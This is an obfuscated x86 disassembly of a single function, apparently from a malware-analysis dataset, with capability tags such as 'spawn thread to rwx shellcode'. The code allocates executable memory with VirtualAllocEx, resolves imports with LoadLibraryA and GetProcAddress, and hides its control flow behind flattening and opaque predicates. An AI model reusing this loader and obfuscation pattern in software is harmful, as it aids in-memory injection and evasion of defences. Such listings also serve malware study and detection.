Function at 0x4102f0
Capabilities:
Allocate or change rwx memory
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
sub esp, 0x1dc
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1dc], eax
mov eax, dword [0x530080]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1d4], 0x53c1fc06
mov eax, dword [ebp - 0x1d4]
mov dword [ebp - 0x1e0], eax
sub eax, 0x8356a779
je 0x41484a
jmp 0x410334
mov eax, dword [ebp - 0x1e0]
sub eax, 0x83dd8936
je 0x412f87
jmp 0x41034a
mov eax, dword [ebp - 0x1e0]
sub eax, 0x847b9211
je 0x413611
jmp 0x410360
mov eax, dword [ebp - 0x1e0]
sub eax, 0x84c2e07c
je 0x412737
jmp 0x410376
mov eax, dword [ebp - 0x1e0]
sub eax, 0x89566856
je 0x414533
jmp 0x41038c
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8ad0e39f
je 0x413582
jmp 0x4103a2
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8c8997bc
je 0x4144d2
jmp 0x4103b8
mov eax, dword [ebp - 0x1e0]
sub eax, 0x8d4823ab
je 0x412ad4
jmp 0x4103ce
mov eax, dword [ebp - 0x1e0]
sub eax, 0x90db7fdd
je 0x41461b
jmp 0x4103e4
mov eax, dword [ebp - 0x1e0]
sub eax, 0x91a3bde0
je 0x411b89
jmp 0x4103fa
mov eax, dword [ebp - 0x1e0]
sub eax, 0x91ceb69a
je 0x4127ec
jmp 0x410410
mov eax, dword [ebp - 0x1e0]
sub eax, 0x94283f03
je 0x4135f0
jmp 0x410426
mov eax, dword [ebp - 0x1e0]
sub eax, 0x962a9638
je 0x4126e3
jmp 0x41043c
mov eax, dword [ebp - 0x1e0]
sub eax, 0x99072308
je 0x41448a
jmp 0x410452
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9a842f61
je 0x41462a
jmp 0x410468
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9bf883e5
je 0x4142b6
jmp 0x41047e
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9d32faaf
je 0x41305e
jmp 0x410494
mov eax, dword [ebp - 0x1e0]
sub eax, 0x9e55f6c6
je 0x413711
jmp 0x4104aa
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa0238a20
je 0x413f65
jmp 0x4104c0
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa09f0e18
je 0x413aec
jmp 0x4104d6
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa133e0a6
je 0x41405e
jmp 0x4104ec
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa1711008
je 0x412c2e
jmp 0x410502
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa1be4626
je 0x4120b0
jmp 0x410518
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa2e2b531
je 0x41203a
jmp 0x41052e
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa4939dcb
je 0x414316
jmp 0x410544
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa4c5de65
je 0x4119d1
jmp 0x41055a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa5684ca4
je 0x4125f8
jmp 0x410570
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa65a180d
je 0x412a43
jmp 0x410586
mov eax, dword [ebp - 0x1e0]
sub eax, 0xa7036684
je 0x41267d
jmp 0x41059c
mov eax, dword [ebp - 0x1e0]
sub eax, 0xab1d65d8
je 0x412d42
jmp 0x4105b2
mov eax, dword [ebp - 0x1e0]
sub eax, 0xac245531
je 0x412e35
jmp 0x4105c8
mov eax, dword [ebp - 0x1e0]
sub eax, 0xad2fc537
je 0x413790
jmp 0x4105de
mov eax, dword [ebp - 0x1e0]
sub eax, 0xae9ea2b1
je 0x4140cd
jmp 0x4105f4
mov eax, dword [ebp - 0x1e0]
sub eax, 0xafe20960
je 0x411cf6
jmp 0x41060a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb01a868e
je 0x411ed2
jmp 0x410620
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb2bd004c
je 0x412af4
jmp 0x410636
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb3f6ae45
je 0x41389e
jmp 0x41064c
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb90f96c5
je 0x4144c3
jmp 0x410662
mov eax, dword [ebp - 0x1e0]
sub eax, 0xb9783002
je 0x414213
jmp 0x410678
mov eax, dword [ebp - 0x1e0]
sub eax, 0xba6f6522
je 0x4141a3
jmp 0x41068e
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbc66c06f
je 0x411a47
jmp 0x4106a4
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbd48c52c
je 0x41249f
jmp 0x4106ba
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbe039396
je 0x41179b
jmp 0x4106d0
mov eax, dword [ebp - 0x1e0]
sub eax, 0xbe426f71
je 0x411f4e
jmp 0x4106e6
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc020c0bc
je 0x413bf0
jmp 0x4106fc
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc0bc0730
je 0x413720
jmp 0x410712
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc2598730
je 0x413125
jmp 0x410728
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc259ded7
je 0x413bff
jmp 0x41073e
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc4a27db0
je 0x4146de
jmp 0x410754
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc4d43795
je 0x413ed5
jmp 0x41076a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc4e63551
je 0x41376f
jmp 0x410780
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc50a52a2
je 0x412e5f
jmp 0x410796
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc61c8f80
je 0x413ca7
jmp 0x4107ac
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcb4f0e62
je 0x412b7d
jmp 0x4107c2
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcc114593
je 0x4122ee
jmp 0x4107d8
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcc5a41ec
je 0x41228b
jmp 0x4107ee
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcd7fe67d
je 0x413b35
jmp 0x410804
mov eax, dword [ebp - 0x1e0]
sub eax, 0xcf62b7ae
je 0x413146
jmp 0x41081a
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd13d2225
je 0x411b61
jmp 0x410830
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd1454f0e
je 0x411f17
jmp 0x410846
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd377b7f0
je 0x412221
jmp 0x41085c
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd37cbafa
je 0x4128c1
jmp 0x410872
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd54b4f6e
je 0x41489f
jmp 0x410888
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd54bb126
je 0x41278c
jmp 0x41089e
mov eax, dword [ebp - 0x1e0]
sub eax, 0xd758c664
je 0x413163
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4c4955dd
mov ecx, 0x26ad856
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov ecx, dword [0x531554]
mov eax, dword [0x531550]
mov edx, ecx
sub edx, 0x393fafd2
sub edx, 1
add edx, 0x393fafd2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd81db5f3
mov ecx, 0xbc66c06f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov ecx, dword [0x531554]
mov eax, dword [0x531550]
mov edx, ecx
add edx, 0xebf954ee
sub edx, 1
sub edx, 0xebf954ee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd81db5f3
mov ecx, 0x18f743ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x130]
mov esi, dword [eax]
mov edx, dword [ebp - 0x134]
mov eax, 0x532622bc
mov ecx, 0x91a3bde0
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x18c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x1c]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x12c], eax
mov dword [ebp - 0x1d4], 0x251bf63b
jmp 0x4148a9
mov ecx, dword [ebp - 0x184]
mov eax, dword [ebp - 0x198]
imul edx, dword [ebp - 0x19c], 0x28
add eax, edx
mov edx, dword [eax + 0x14]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x198]
imul edx, dword [ebp - 0x19c], 0x28
add eax, edx
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x11c]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.004209a0
add esp, 0xc
mov dword [ebp - 0x1d4], 0x74202709
jmp 0x4148a9
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x18c]
mov ecx, dword [ecx + 0x34]
sub eax, 0x9e010ac1
sub eax, ecx
add eax, 0x9e010ac1
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x1d4], 0xd1454f0e
jmp 0x4148a9
mov eax, dword [ebp - 0x10c]
mov ecx, dword [ebp - 0x108]
sub eax, 0xc16b0f6a
add eax, ecx
add eax, 0xc16b0f6a
mov dword [ebp - 0x1a4], eax
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1d4], 0xbe426f71
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
add edx, 0x99cf7352
sub edx, 1
sub edx, 0x99cf7352
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb90f96c5
mov ecx, 0x6543169c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov ecx, dword [0x531554]
mov eax, dword [0x531550]
mov edx, ecx
sub edx, 0x722e2796
sub edx, 1
add edx, 0x722e2796
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8c8997bc
mov ecx, 0xa1be4626
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x1a4]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x1ac], eax
mov eax, dword [ebp - 0x1a4]
mov eax, dword [eax + 4]
add eax, 0xb4b822f4
sub eax, 8
sub eax, 0xb4b822f4
shr eax, 1
mov dword [ebp - 0x1b0], eax
mov eax, dword [ebp - 0x1a4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 8
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x1b4], eax
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
add edx, 0x7c720b32
sub edx, 1
sub edx, 0x7c720b32
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8c8997bc
mov ecx, 0x7393b206
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x89566856
mov ecx, 0x5ebdc38e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x1b4]
movzx eax, word [eax]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x1d4], 0xeca24df7
jmp 0x4148a9
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x1b4]
movzx eax, word [eax]
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x1d4], 0x2818dff8
jmp 0x4148a9
mov eax, dword [ebp - 0x1a4]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x1a8]
add eax, 0xd891964b
add eax, ecx
sub eax, 0xd891964b
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x1d4], 0x72eb5d6e
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0x708ada37
jmp 0x4148a9
mov eax, dword [ebp - 0xe0]
cmp dword [eax + 0x10], 0
setne al
and al, 1
mov byte [ebp - 0xd9], al
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
add edx, 0xbaf61453
sub edx, 1
sub edx, 0xbaf61453
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6ebad64d
mov ecx, 0x962a9638
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov dl, byte [ebp - 0xd9]
mov eax, 0x2eb4a30a
mov ecx, 0x2c75baaf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
sub eax, 0x429d3cb0
add eax, ecx
add eax, 0x429d3cb0
mov dword [ebp - 0x1c4], eax
mov eax, dword [ebp - 0x1c4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x1c8], eax
mov eax, 0xd54bb126
mov ecx, 0xf5843465
cmp dword [ebp - 0x1c8], 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0x6a6d43e5
jmp 0x4148a9
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x1bc]
imul edx, dword [ebp - 0x1c0], 0x14
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub eax, 0xdf39606c
add eax, ecx
add eax, 0xdf39606c
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1d0], 0
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x136fa50b
mov ecx, 0xf0e1a3dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
sub edx, 0xcf21b21e
sub edx, 1
add edx, 0xcf21b21e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b175f20
mov ecx, 0x718ed63e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov ecx, dword [ebp - 0x190]
mov eax, dword [ebp - 0x1cc]
mov edx, dword [ebp - 0x1d0]
mov edx, dword [eax + edx*4]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x17c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0x1d4], 0x7ad0285c
jmp 0x4148a9
mov eax, dword [ebp - 0x17c]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x1d4], 0xb2bd004c
jmp 0x4148a9
mov ecx, dword [ebp - 0x1c8]
mov eax, dword [ebp - 0xc0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov dword [ebp - 0x1d4], 0x3d740b27
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
sub edx, 0xaae000e9
sub edx, 1
add edx, 0xaae000e9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff3694a6
mov ecx, 0xee7a93a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov ecx, dword [0x531554]
mov eax, dword [0x531550]
mov edx, ecx
sub edx, 0xf6b804fb
sub edx, 1
add edx, 0xf6b804fb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7e15c14b
mov ecx, 0x4f4e23ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov ecx, dword [0x531554]
mov eax, dword [0x531550]
mov edx, ecx
add edx, 0xc637cfd
sub edx, 1
sub edx, 0xc637cfd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x90db7fdd
mov ecx, 0x5137982e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0x6a6d43e5
jmp 0x4148a9
mov eax, dword [ebp - 0xbc]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1d4], 0xe151476a
jmp 0x4148a9
mov eax, dword [ebp - 0x18c]
movzx esi, word [eax + 6]
mov edx, dword [ebp - 0xb8]
mov eax, 0xef5dc78c
mov ecx, 0x47b054d2
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x40000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xb1], al
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
add edx, 0xa131693a
sub edx, 1
sub edx, 0xa131693a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3e7933da
mov ecx, 0xda75e52b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov edx, dword [ebp - 0xb0]
mov eax, 0xf0fb8797
mov ecx, 0xcf62b7ae
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x1d4], 0xd758c664
jmp 0x4148a9
mov ecx, dword [0x531554]
mov eax, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x633b1f3b
mov ecx, 0x94283f03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov dl, byte [ebp - 0x9d]
mov eax, 0x2d625c39
mov ecx, 0x847b9211
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x16c]
mov dword [eax], 4
mov dword [ebp - 0x1d4], 0x3c559df6
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0xc0bc0730
jmp 0x4148a9
mov edx, dword [ebp - 0x9c]
mov eax, 0x721d7d70
mov ecx, 0x4a1c024e
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov edx, dword [ebp - 0x98]
mov eax, 0x721d7d70
mov ecx, 0xad2fc537
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
add edx, 0xbef55b17
sub edx, 1
sub edx, 0xbef55b17
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xea7a9e4c
mov ecx, 0x1d62f8a0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov edx, dword [ebp - 0x94]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x40000000
mov eax, 0xffffffff
xor eax, 0x2d77b0c9
or edx, ecx
or eax, 0x2d77b0c9
xor edx, 0xffffffff
and edx, eax
mov eax, 0xd8230c32
mov ecx, 0x1b8c63ac
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7520fc1f
mov ecx, 0xcd7fe67d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x190]
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x170]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
sub esi, eax
mov eax, dword [ebp - 0x174]
mov ecx, dword [ebp - 0x90]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [0x531554]
mov eax, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7520fc1f
mov ecx, 0xc020c0bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0xc259ded7
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5271aaaa
mov ecx, 0x2d3c1a4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0xf12a88ee
jmp 0x4148a9
mov eax, dword [ebp - 0x7c]
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov word [eax], cx
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61b3baa0
mov ecx, 0xe2eb3c89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
add edx, 0x7fdb108c
sub edx, 1
sub edx, 0x7fdb108c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f1810d
mov ecx, 0x73c7d40b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov dl, byte [ebp - 0x6d]
mov eax, 0xb9783002
mov ecx, 0x86cb9d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
sub esp, 4
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x531554]
mov eax, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8356a779
mov ecx, 0x7901f99
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x67537db1
mov ecx, 0xdcb542f0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x1d4], 0x5837ff77
jmp 0x4148a9
mov eax, dword [0x531554]
mov ecx, dword [0x531550]
mov edx, eax
sub edx, 0x971014a9
sub edx, 1
add edx, 0x971014a9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf36a8b63
mov ecx, 0x1e1a57f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x1d4], eax
jmp 0x4148a9
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x1d4], 0x1c8bc070
jmp 0x4148a9
mov dword [ebp - 0x1d4], 0x76ef067a
jmp 0x4148a9
